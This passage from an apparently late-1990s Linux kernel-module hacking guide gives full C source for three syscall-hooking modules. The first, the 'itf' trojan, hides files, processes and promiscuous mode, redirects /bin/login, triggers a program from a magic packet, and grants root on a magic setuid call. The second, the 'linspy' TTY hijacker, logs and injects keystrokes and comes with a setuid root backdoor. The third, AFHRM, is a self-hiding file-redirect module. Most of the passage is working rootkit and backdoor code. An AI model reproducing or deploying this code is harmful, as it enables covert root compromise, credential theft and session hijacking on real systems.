5651 because itf will trap a change in the PROMISC flag and will then stop hidding
5652 it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
5655 - file hidder: itf will also patch the getdents(2) system calls, thus hidding
5656 files containing a certain word in their filename.
5658 - process hidder: using the same technique as described above, itf will hide
5659 /procs/PÏD directories using argv entries. Any process named with the magic
5660 name will be hidden from the procfs tree.
5662 - execve redirection: this implements Halflife's idea discussed in P51.
5663 If a given program (notably /bin/login) is execve'd, itf will execve
5664 another program instead. It uses tricks to overcome Linux memory managment
5665 limitations: brk(2) is used to increase the calling program's data segment
5666 size, thus allowing us to allocate user memory while in kernel mode (remember
5667 that most system calls wait for arguments in user memory, not kernel mem).
5669 - socket recvfrom() backdoor: when a packet matching a given size and a given
5670 string is received, a non-interactive program will be executed. Typicall use
5671 is a shell script (which will be hidden using the magic name) that opens
5672 another port and waits there for shell commands.
5674 - setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
5675 magic number is done, the calling process will get uid = euid = gid = 0
5681 * Linux Integrated Trojan Facility
5682 * (c) plaguez 1997 -- dube0866@eurobretagne.fr
5683 * This is mostly not fully tested code. Use at your own risks.
5687 * gcc -c -O3 -fomit-frame-pointer itf.c
5692 * Thanks to Halflife and Solar Designer for their help/ideas.
5694 * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
5703 #include <linux/config.h>
5704 #include <linux/module.h>
5705 #include <linux/version.h>
5707 #include <linux/types.h>
5708 #include <linux/fs.h>
5709 #include <linux/mm.h>
5710 #include <linux/errno.h>
5711 #include <asm/segment.h>
5712 #include <asm/pgtable.h>
5713 #include <sys/syscall.h>
5714 #include <linux/dirent.h>
5715 #include <asm/unistd.h>
5716 #include <sys/types.h>
5717 #include <sys/socket.h>
5718 #include <sys/socketcall.h>
5719 #include <linux/netdevice.h>
5720 #include <linux/if.h>
5721 #include <linux/if_arp.h>
5722 #include <linux/if_ether.h>
5723 #include <linux/proc_fs.h>
5730 /* Customization section
5731 * - RECVEXEC is the full pathname of the program to be launched when a packet
5732 * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
5733 * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
5734 * to write more than execve(RECVEXEC,NULL,NULL); :)
5735 * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
5736 * when an execve() syscall occurs.
5737 * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
5738 * is made (like Halflife's code)
5739 * - files containing MAGICNAME in their full pathname will be invisible to
5740 * a getdents() system call.
5741 * - processes containing MAGICNAME in their process name will be hidden of the
5744 #define MAGICNAME "w00w00T$!"
5745 #define MAGICUID 31337
5746 #define OLDEXEC "/bin/login"
5747 #define NEWEXEC "/.w00w00T$!/w00w00T$!login"
5748 #define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
5749 #define MAGICSIZE sizeof(MAGICNAME)+10
5751 /* old system calls vectors */
5752 int (*o_getdents) (uint, struct dirent *, uint);
5753 ssize_t(*o_readdir) (int, void *, size_t);
5754 int (*o_setuid) (uid_t);
5755 int (*o_execve) (const char *, const char *[], const char *[]);
5756 int (*o_ioctl) (int, int, unsigned long);
5757 int (*o_get_kernel_syms) (struct kernel_sym *);
5758 ssize_t(*o_read) (int, void *, size_t);
5759 int (*o_socketcall) (int, unsigned long *);
5760 /* entry points to brk() and fork() syscall. */
5761 static inline _syscall1(int, brk, void *, end_data_segment);
5762 static inline _syscall0(int, fork);
5763 static inline _syscall1(void, exit, int, status);
5765 extern void *sys_call_table[];
5766 extern struct proto tcp_prot;
5769 char mtroj[] = MAGICNAME;
5776 * String-oriented functions
5777 * (from user-space to kernel-space or invert)
5780 char *strncpy_fromfs(char *dest, const char *src, int n)
5786 dest[compt++] = __get_user(tmp++, 1);
5788 while ((dest[compt - 1] != '\0') && (compt != n));
5794 int myatoi(char *str)
5800 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
5801 if (*ptr < '0' || *ptr > '9')
5803 res += (*ptr - '0') * mul;
5812 * process hiding functions
5814 struct task_struct *get_task(pid_t pid)
5816 struct task_struct *p = current;
5822 while (p != current);
5827 /* the following function comes from fs/proc/array.c */
5828 static inline char *task_name(struct task_struct *p, char *buf)
5834 i = sizeof(p->comm);
5836 unsigned char c = *name;
5862 int invisible(pid_t pid)
5864 struct task_struct *task = get_task(pid);
5867 buffer = kmalloc(200, GFP_KERNEL);
5868 memset(buffer, 0, 200);
5869 task_name(task, buffer);
5870 if (strstr(buffer, (char *) &mtroj)) {
5885 * hide module symbols
5887 int n_get_kernel_syms(struct kernel_sym *table)
5889 struct kernel_sym *tb;
5890 int compt, compt2, compt3, i, done;
5892 compt = (*o_get_kernel_syms) (table);
5893 if (table != NULL) {
5894 tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
5901 memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
5903 if ((tb[compt2].name)[0] == '#')
5905 if (!strcmp(tb[compt2].name, mtroj)) {
5906 for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
5907 if (compt3 != (compt - 1))
5908 memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
5914 if (compt2 == compt)
5919 memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
5930 * I need to allocate user memory. To do that, I'll do exactly as malloc() does
5931 * it (changing the break value).
5933 int my_execve(const char *filename, const char *argv[], const char *envp[])
5936 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
5940 int n_execve(const char *filename, const char *argv[], const char *envp[])
5944 char *truc = OLDEXEC;
5945 char *nouveau = NEWEXEC;
5948 test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
5949 (void) strncpy_fromfs(test, filename, strlen(truc));
5950 test[strlen(truc)] = '\0';
5951 if (!strcmp(test, truc)) {
5953 mmm = current->mm->brk;
5954 ret = brk((void *) (mmm + 256));
5957 memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
5958 ret = my_execve((char *) (mmm + 2), argv, envp);
5959 tmp = brk((void *) mmm);
5962 ret = my_execve(filename, argv, envp);
5970 * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
5971 * If we reset the PROMISC flag when the trojan is already running, then it
5972 * won't hide it anymore (needed otherwise you'd just have to do an
5973 * "ifconfig eth0 +promisc" to find the trojan).
5975 int n_ioctl(int d, int request, unsigned long arg)
5980 tmp = (*o_ioctl) (d, request, arg);
5981 if (request == SIOCGIFFLAGS && !promisc) {
5982 memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
5983 ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
5984 memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
5985 } else if (request == SIOCSIFFLAGS) {
5986 memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
5987 if (ifr.ifr_flags & IFF_PROMISC)
5989 else if (!(ifr.ifr_flags & IFF_PROMISC))
5998 * trojan setMAGICUID() system call.
6000 int n_setuid(uid_t uid)
6004 if (uid == MAGICUID) {
6011 tmp = (*o_setuid) (uid);
6017 * trojan getdents() system call.
6019 int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
6021 unsigned int tmp, n;
6023 struct inode *dinode;
6024 struct dirent *dirp2, *dirp3;
6026 tmp = (*o_getdents) (fd, dirp, count);
6028 #ifdef __LINUX_DCACHE_H
6029 dinode = current->files->fd[fd]->f_dentry->d_inode;
6031 dinode = current->files->fd[fd]->f_inode;
6034 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
6037 dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
6038 memcpy_fromfs(dirp2, dirp, tmp);
6042 n = dirp3->d_reclen;
6044 if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
6045 ||(proc && invisible(myatoi(dirp3->d_name)))) {
6047 memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
6049 dirp3->d_off = 1024;
6052 if (dirp3->d_reclen == 0) {
6054 * workaround for some shitty fs drivers that do not properly
6055 * feature the getdents syscall.
6061 dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
6065 memcpy_tofs(dirp, dirp2, tmp);
6074 * Trojan socketcall system call
6075 * executes a given binary when a packet containing the magic word is received.
6076 * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
6079 int n_socketcall(int call, unsigned long *args)
6081 int ret, ret2, compt;
6083 unsigned long *sargs = args;
6084 unsigned long a0, a1, mmm;
6087 ret = (*o_socketcall) (call, args);
6088 if (ret == MAGICSIZE && call == SYS_RECVFROM) {
6089 a0 = get_user(sargs);
6090 a1 = get_user(sargs + 1);
6091 buf = kmalloc(ret, GFP_KERNEL);
6092 memcpy_fromfs(buf, (void *) a1, ret);
6093 for (compt = 0; compt < ret; compt++)
6094 if (((char *) (buf))[compt] == 0)
6095 ((char *) (buf))[compt] = 1;
6096 if (strstr(buf, mtroj)) {
6100 mmm = current->mm->brk;
6101 ret2 = brk((void *) (mmm + 256));
6102 memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
6103 /* Hope the execve has been successfull otherwise you'll have 2 copies of the
6104 master process in the ps list :] */
6105 ret2 = my_execve((char *) mmm + 2, NULL, NULL);
6117 * module initialization stuff.
6119 int init_module(void)
6121 /* module list cleaning */
6122 /* would need to make a clean search of the right register
6123 * in the function prologue, since gcc may not always put
6124 * struct module *mp in %ebx
6126 * Try %ebx, %edi, %ebp, well, every register actually :)
6128 register struct module *mp asm("%ebx");
6129 *(char *) (mp->name) = 0;
6133 * Make it unremovable
6135 /* MOD_INC_USE_COUNT;
6137 o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
6138 sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
6140 o_getdents = sys_call_table[SYS_getdents];
6141 sys_call_table[SYS_getdents] = (void *) n_getdents;
6143 o_setuid = sys_call_table[SYS_setuid];
6144 sys_call_table[SYS_setuid] = (void *) n_setuid;
6146 __NR_myexecve = 164;
6147 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
6149 o_execve = sys_call_table[SYS_execve];
6150 if (__NR_myexecve != 0) {
6151 sys_call_table[__NR_myexecve] = o_execve;
6152 sys_call_table[SYS_execve] = (void *) n_execve;
6155 o_ioctl = sys_call_table[SYS_ioctl];
6156 sys_call_table[SYS_ioctl] = (void *) n_ioctl;
6158 o_socketcall = sys_call_table[SYS_socketcall];
6159 sys_call_table[SYS_socketcall] = (void *) n_socketcall;
6165 void cleanup_module(void)
6167 sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
6168 sys_call_table[SYS_getdents] = o_getdents;
6169 sys_call_table[SYS_setuid] = o_setuid;
6170 sys_call_table[SYS_socketcall] = o_socketcall;
6172 if (__NR_myexecve != 0)
6173 sys_call_table[__NR_myexecve] = 0;
6174 sys_call_table[SYS_execve] = o_execve;
6176 sys_call_table[SYS_ioctl] = o_ioctl;
6183 <H3><A NAME="A-d"></A>LKM TTY hijacking</h3>
6185 <b>NAME</b> : linspy<br>
6186 <b>AUTHOR</b> : <A HREF="mailto:halflife@infonexus.com">halflife</a><br>
6187 <b>DESCRIPTION</b> : This LKM comes again Phrack issue 50 (article 5: 'Abuse of the
6188 Linux Kernel for Fun and Profit'). It is a very nice TTY
6189 hijacker working the way I outline in II.7. This module
6190 uses its own character device for control / and logging.<br>
6191 <b>LINK</b> : <A HREF="http://www.phrack.com">http://www.phrack.com</a><br>
6195 <++> linspy/Makefile
6196 CONFIG_KERNELD=-DCONFIG_KERNELD
6197 CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD)
6199 # this is the name of the device you have (or will) made with mknod
6200 DN = '-DDEVICE_NAME="/dev/ltap"'
6201 # 1.2.x need this to compile, comment out on 1.3+ kernels
6203 MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX
6205 all: linspy ltread setuid
6207 linspy: linspy.c /usr/include/linux/version.h
6208 $(CC) $(MODCFLAGS) -c linspy.c
6211 $(CC) $(DN) -o ltread ltread.c
6216 setuid: hacked_setuid.c /usr/include/linux/version.h
6217 $(CC) $(MODCFLAGS) -c hacked_setuid.c
6220 <++> linspy/hacked_setuid.c
6222 #include <linux/sched.h>
6223 #include <linux/mm.h>
6224 #include <linux/malloc.h>
6225 #include <linux/errno.h>
6226 #include <linux/sched.h>
6227 #include <linux/kernel.h>
6228 #include <linux/times.h>
6229 #include <linux/utsname.h>
6230 #include <linux/param.h>
6231 #include <linux/resource.h>
6232 #include <linux/signal.h>
6233 #include <linux/string.h>
6234 #include <linux/ptrace.h>
6235 #include <linux/stat.h>
6236 #include <linux/mman.h>
6237 #include <linux/mm.h>
6238 #include <asm/segment.h>
6240 #include <linux/module.h>
6241 #include <linux/version.h>
6243 #include <linux/unistd.h>
6245 #include <asm/string.h>
6246 #include <sys/syscall.h>
6247 #include <sys/types.h>
6248 #include <sys/sysmacros.h>
6250 static char kernel_version[] = UTS_RELEASE;
6252 static inline _syscall1(int, setuid, uid_t, uid);
6253 extern void *sys_call_table[];
6254 void *original_setuid;
6255 extern int hacked_setuid(uid_t uid)
6260 current->uid = current->euid = current->gid = current->egid = 0;
6263 sys_call_table[SYS_setuid] = original_setuid;
6265 sys_call_table[SYS_setuid] = hacked_setuid;
6266 if(i == -1) return -errno;
6269 int init_module(void)
6271 original_setuid = sys_call_table[SYS_setuid];
6272 sys_call_table[SYS_setuid] = hacked_setuid;
6275 void cleanup_module(void)
6277 sys_call_table[SYS_setuid] = original_setuid;
6279 <++> linspy/linspy.c
6281 #include <linux/tty.h>
6282 #include <linux/sched.h>
6283 #include <linux/mm.h>
6284 #include <linux/malloc.h>
6285 #include <linux/errno.h>
6286 #include <linux/sched.h>
6287 #include <linux/kernel.h>
6288 #include <linux/times.h>
6289 #include <linux/utsname.h>
6290 #include <linux/param.h>
6291 #include <linux/resource.h>
6292 #include <linux/signal.h>
6293 #include <linux/string.h>
6294 #include <linux/ptrace.h>
6295 #include <linux/stat.h>
6296 #include <linux/mman.h>
6297 #include <linux/mm.h>
6298 #include <asm/segment.h>
6301 #include <linux/module.h>
6302 #include <linux/version.h>
6305 #include <asm/segment.h>
6306 #include <linux/unistd.h>
6308 #include <asm/string.h>
6309 #include <sys/syscall.h>
6310 #include <sys/types.h>
6311 #include <sys/sysmacros.h>
6312 #include <linux/vt.h>
6314 /* set the version information, if needed */
6316 static char kernel_version[] = UTS_RELEASE;
6320 #define MIN(a,b) ((a) < (b) ? (a) : (b))
6323 /* ring buffer info */
6325 #define BUFFERSZ 2048
6326 char buffer[BUFFERSZ];
6330 /* taken_over indicates if the victim can see any output */
6333 static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
6334 extern void *sys_call_table[];
6336 /* device info for the linspy device, and the device we are watching */
6337 static int linspy_major = 40;
6341 /* address of original write(2) syscall */
6342 void *original_write;
6344 void save_write(char *, size_t);
6350 if(queue_head == queue_tail) return -1;
6351 c = buffer[queue_head];
6353 if(queue_head == BUFFERSZ) queue_head=0;
6357 int in_queue(int ch)
6359 if((queue_tail + 1) == queue_head) return 0;
6360 buffer[queue_tail] = ch;
6362 if(queue_tail == BUFFERSZ) queue_tail=0;
6367 /* check if it is the tty we are looking for */
6368 int is_fd_tty(int fd)
6370 struct file *f=NULL;
6371 struct inode *inode=NULL;
6375 if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
6377 mymajor = major(inode->i_rdev);
6378 myminor = minor(inode->i_rdev);
6379 if(mymajor != tty_major) return 0;
6380 if(myminor != tty_minor) return 0;
6384 /* this is the new write(2) replacement call */
6385 extern int new_write(int fd, char *buf, size_t count)
6391 save_write(buf, count);
6392 if(taken_over) return count;
6394 sys_call_table[SYS_write] = original_write;
6395 r = write(fd, buf, count);
6396 sys_call_table[SYS_write] = new_write;
6397 if(r == -1) return -errno;
6402 /* save data from the write(2) call into the buffer */
6403 void save_write(char *buf, size_t count)
6406 for(i=0;i < count;i++)
6407 in_queue(get_fs_byte(buf+i));
6410 /* read from the ltap device - return data from queue */
6411 static int linspy_read(struct inode *in, struct file *fi, char *buf, int count)
6416 if(current->euid != 0) return 0;
6417 for(i=0;i < count;i++)
6422 put_fs_byte(c, buf+i);
6427 /* open the ltap device */
6428 static int linspy_open(struct inode *in, struct file *fi)
6430 if(current->euid != 0) return -EIO;
6435 /* close the ltap device */
6436 static void linspy_close(struct inode *in, struct file *fi)
6443 /* some ioctl operations */
6445 linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args)
6447 #define LS_SETMAJOR 0
6448 #define LS_SETMINOR 1
6449 #define LS_FLUSHBUF 2
6452 if(current->euid != 0) return -EIO;
6470 if(taken_over) taken_over=0;
6480 static struct file_operations linspy = {
6494 /* init the loadable module */
6495 int init_module(void)
6497 original_write = sys_call_table[SYS_write];
6498 sys_call_table[SYS_write] = new_write;
6499 if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO;
6503 /* cleanup module before being removed */
6504 void cleanup_module(void)
6506 sys_call_table[SYS_write] = original_write;
6507 unregister_chrdev(linspy_major, "linspy");
6510 <++> linspy/ltread.c
6514 #include <termios.h>
6518 #include <sys/types.h>
6519 #include <sys/stat.h>
6520 #include <sys/sysmacros.h>
6522 struct termios save_termios;
6527 #define DEVICE_NAME "/dev/ltap"
6530 #define LS_SETMAJOR 0
6531 #define LS_SETMINOR 1
6533 #define LS_FLUSHBUF 2
6536 void stuff_keystroke(int fd, char key)
6538 ioctl(fd, TIOCSTI, &key);
6541 int tty_cbreak(int fd)
6543 struct termios buff;
6544 if(tcgetattr(fd, &save_termios) < 0)
6546 buff = save_termios;
6547 buff.c_lflag &= ~(ECHO | ICANON);
6548 buff.c_cc[VMIN] = 0;
6549 buff.c_cc[VTIME] = 0;
6550 if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
6556 char *get_device(char *basedevice)
6558 static char devname[1024];
6561 if(strlen(basedevice) > 128) return NULL;
6562 if(basedevice[0] == '/')
6563 strcpy(devname, basedevice);
6565 sprintf(devname, "/dev/%s", basedevice);
6566 fd = open(devname, O_RDONLY);
6567 if(fd < 0) return NULL;
6568 if(!isatty(fd)) return NULL;
6574 int do_ioctl(char *device)
6578 if(stat(device, &mystat) < 0) return -1;
6579 fd = open(DEVICE_NAME, O_RDONLY);
6580 if(fd < 0) return -1;
6581 if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
6582 if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
6586 void sigint_handler(int s)
6591 void cleanup_atexit(void)
6595 tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
6598 main(int argc, char **argv)
6607 fprintf(stderr, "%s ttyname\n", argv[0]);
6608 fprintf(stderr, "ttyname should NOT be your current tty!\n");
6611 devname = get_device(argv[1]);
6614 perror("get_device");
6617 if(tty_cbreak(0) < 0)
6619 perror("tty_cbreak");
6622 atexit(cleanup_atexit);
6623 signal(SIGINT, sigint_handler);
6624 if(do_ioctl(devname) < 0)
6629 my_tty = open(devname, O_RDWR);
6630 if(my_tty == -1) exit(0);
6631 setvbuf(stdout, NULL, _IONBF, 0);
6632 printf("[now monitoring session]\n");
6635 i = read(0, &ch, 1);
6640 ioctl(fd, LS_TOGGLE, 0);
6641 printf("[Takeover mode toggled]\n");
6643 else stuff_keystroke(my_tty, ch);
6645 i = read(fd, &ch, 1);
6656 <H3><A NAME="A-e"></a>AFHRM - the monitor tool</h3>
6658 <b>NAME</b> : AFHRM ( Advanced file hide & redirect module)<br>
6659 <b>AUTHOR</b> : <A HREF="mailto:lcamtuf@boss.staszic.waw.pl">Michal Zalewski</a><br>
6660 <b>DESCRIPTION</b> : This LKM was made especially for admins who want to
6661 control some files (passwd, for example) concerning
6662 file access. This module can monitor any fileaccess and
6663 redirect write attempts. It is also possible to do file
6665 <b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
6672 Advanced file hide & redirect module for Linux 2.0.xx / i386
6673 ------------------------------------------------------------
6674 (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
6680 #include <linux/module.h>
6681 #include <linux/kernel.h>
6682 #include <asm/unistd.h>
6683 #include <sys/syscall.h>
6684 #include <sys/types.h>
6685 #include <asm/fcntl.h>
6686 #include <asm/errno.h>
6687 #include <linux/types.h>
6688 #include <linux/dirent.h>
6689 #include <sys/mman.h>
6691 #if (!defined(__GLIBC__) || __GLIBC__ < 2)
6692 #include <sys/stat.h>
6694 #include <statbuf.h> // What can I do?
6697 #include <linux/string.h>
6698 #include "broken-glibc.h"
6699 #include <linux/fs.h>
6700 #include <linux/malloc.h>
6702 /* Hope that's free? */
6703 #define O_NOCHG 0x1000000
6704 #define O_ACCNOCHG 0x2000000
6705 #define O_STRICT 0x4000000
6706 #define O_STILL 0x8000000
6708 #define M_MAIN 0x0ffffff
6709 #define M_MINOR (M_MAIN ^ O_ACCMODE)
6711 struct red { // Redirections database entry.
6712 const char *src,*dst;
6713 const int flags,new_flags;
6716 struct red redir_table[]={
6718 // Include user-specific choices :-)
6723 #define REDIRS sizeof(redir_table)/sizeof(struct red)
6725 struct dat { // Inode database entry.
6730 int as_today,ohits,ghits, // internal counters.
6733 struct dat polozenie[REDIRS]; // Inodes database.
6738 extern void* sys_call_table[];
6740 // Old system calls handlers (for module removal).
6741 int (*stary_open)(const char *pathname, int flags, mode_t mode);
6742 int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
6743 int (*stary_link)(const char* oldname,const char* newname);
6744 int (*stary_unlink)(const char* name);
6745 int (*stary_rename)(const char* oldname,const char* newname);
6747 int (*sys_stat)(void*,void*);
6748 int (*mybrk)(void*);
6751 // Ugly low-level hack - OH, HOW WE NEED IT :)))
6752 int mystat(const char* arg1,struct stat* arg2,char space) {
6753 unsigned long m1=0,m2;
6758 // If needed, duplicate 1st argument to user space...
6759 m1=current->mm->brk;
6760 mybrk((void*)(m1+strlen(arg1)+1));
6762 memcpy_tofs(a1,arg1,strlen(arg1)+1);
6763 } else a1=(char*)arg1;
6764 // Allocate space for 2nd argument...
6765 m2=current->mm->brk;
6766 mybrk((void*)(m2+sizeof(struct stat)));
6767 a2=(struct stat*)(m2+2);
6769 __res=sys_stat(a1,a2);
6770 // Copy 2nd argument back...
6771 memcpy_fromfs(arg2,a2,sizeof(struct stat));
6773 if (!space) mybrk((void*)m1); else mybrk((void*)m2);
6777 // New open(...) handler.
6778 extern int nowy_open(const char *pathname, int flags, mode_t mode) {
6780 char zmieniony=0,*a1;
6783 if (++as_today>INTERV) {
6787 if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
6788 && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6789 if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
6792 if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
6795 if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
6798 if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
6802 printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
6803 printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
6804 printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
6807 if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
6808 if (redir_table[i].dst) {
6809 flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
6810 (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
6811 (redir_table[i].new_flags & M_MAIN);
6812 /* User space trick */
6813 m1=current->mm->brk;
6814 mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
6816 memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
6821 i=stary_open(pathname,flags,mode);
6822 if (zmieniony) mybrk((void*)m1);
6827 // New getdents(...) handler.
6828 int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
6830 struct dirent *d2,*d3;
6831 ret=stary_getdents(fd,dirp,count);
6832 dev = (long)current->files->fd[fd]->f_inode->i_dev;
6834 d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
6835 memcpy_fromfs(d2,dirp,ret);
6841 for (i=0;i<REDIRS;i++)
6842 if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
6843 d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
6845 printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
6846 redir_table[i].src,dev,d3->d_ino,ret,t);
6849 if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
6852 if (!d3->d_reclen) { ret-=t;t=0; }
6853 if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
6855 memcpy_tofs(dirp,d2,ret);
6862 // New link(...) handler.
6863 extern int nowy_link(const char *oldname,const char *newname) {
6866 if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6867 (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6868 redir_table[i].flags | O_STILL ) &&
6869 (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6871 printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6872 (long)*((char*)&buf.st_dev+4));
6875 if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6877 return stary_link(oldname,newname);
6881 // New unlink(...) handler.
6882 extern int nowy_unlink(const char *name) {
6885 if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6886 (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6887 redir_table[i].flags | O_STILL ) &&
6888 (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6890 printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6891 (long)*((char*)&buf.st_dev+4));
6894 if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6896 return stary_unlink(name);
6900 // New rename(...) handler.
6901 extern int nowy_rename(const char *oldname, const char* newname) {
6904 if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
6905 (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
6906 redir_table[i].flags | O_STILL ) &&
6907 (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
6909 printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
6910 (long)*((char*)&buf.st_dev+4));
6913 if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
6915 return stary_rename(oldname,newname);
6919 // Inode database rebuild procedure.
6924 printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
6927 if (!(err=mystat(redir_table[i].src,&buf,0))) {
6928 polozenie[i].valid=1;
6929 polozenie[i].dev=buf.st_dev;
6930 polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
6932 printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
6933 buf.st_dev,buf.st_ino);
6937 polozenie[i].valid=0;
6939 printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
6942 printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
6954 int init_module(void) {
6956 register struct module *mp asm("%ebp");
6959 unsigned long flags;
6961 cli(); // To satisfy kgb ;-)
6963 *(char*)(mp->name)=0;
6968 printk("AFHRM_INIT: Version " VERSION " starting.\n");
6971 printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
6973 printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
6975 sys_stat=sys_call_table[__NR_stat];
6976 mybrk=sys_call_table[__NR_brk];
6978 stary_open=sys_call_table[__NR_open];
6979 stary_getdents=sys_call_table[__NR_getdents];
6980 stary_link=sys_call_table[__NR_link];
6981 stary_unlink=sys_call_table[__NR_unlink];
6982 stary_rename=sys_call_table[__NR_rename];
6984 printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
6985 printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
6986 (int)nowy_getdents);
6987 printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
6988 printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
6990 printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
6993 sys_call_table[__NR_open]=nowy_open;
6994 sys_call_table[__NR_getdents]=nowy_getdents;
6995 sys_call_table[__NR_link]=nowy_link;
6996 sys_call_table[__NR_unlink]=nowy_unlink;
6997 sys_call_table[__NR_rename]=nowy_rename;
